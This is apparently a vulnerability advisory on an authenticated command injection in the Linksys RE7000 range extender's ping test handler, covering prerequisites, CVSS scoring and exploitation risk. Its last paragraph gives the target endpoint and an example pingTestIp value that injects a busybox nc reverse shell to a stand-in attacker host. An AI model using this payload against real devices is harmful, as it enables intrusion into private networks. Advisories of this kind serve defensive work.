Linksys RE7000 CVE-2026-86299

Exploitation requires: (1) network reachability to the RE7000 management interface - by default on the LAN segment (port 80/443); if remote management is enabled, potentially reachable from the WAN; (2) valid credentials with at minimum low-privilege access to the device web UI (PR:L per CVSS 4.0 vector - exploitation is NOT unauthenticated). Limiting factors: the credential barrier is the sole meaningful protection; consumer devices are frequently deployed with unchanged default credentials (commonly 'admin'/'admin' or printed on the device label), which substantially reduces this barrier in practice. Exploitation via the WAN interface is limited to devices where remote management has been explicitly enabled - not the default. All three injectable parameters (pingTestIp, pingTestPktSize, pingTestTimes) are independently exploitable, giving the attacker multiple injection points within the same handler.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N, VC:H/VI:H/VA:H, SC:H/SI:H/SA:H, E:P) reflects a network-accessible, low-complexity injection with public exploit code and full impact including scope change to subsequent systems such as LAN hosts. The PR:L requirement - low-privilege authentication - is the primary barrier to exploitation; however, consumer range extenders are notoriously operated with default or weak credentials, making this barrier low in practice. No CISA KEV listing is present at time of analysis, but the GitHub PoC (limou89/somevul) removes skill barriers significantly. The scope-change metrics (SC:H/SI:H/SA:H) indicate that device compromise could enable traffic interception, DNS manipulation, or lateral movement into the LAN. EPSS data is absent from the provided intelligence - this is a gap; the combination of public PoC, network vector, low complexity, and a widely deployed consumer device class warrants treating this as elevated real-world priority despite the lack of KEV confirmation.

An attacker with valid credentials to the RE7000 web management interface - commonly default credentials that have not been changed - sends a crafted HTTP POST request to /cgi-bin/json.cgi?PingTest with a pingTestIp value such as '127.0.0.1;$(busybox nc attacker.com 4444 -e /bin/sh)'. The firmware's platform_event_pingTest function interpolates the parameter directly into a shell command, spawning a reverse shell. A public proof-of-concept demonstrating this injection is available at https://github.com/limou89/somevul/blob/main/Linksys_RE7000_v2_PingTest_Command_Injection.md.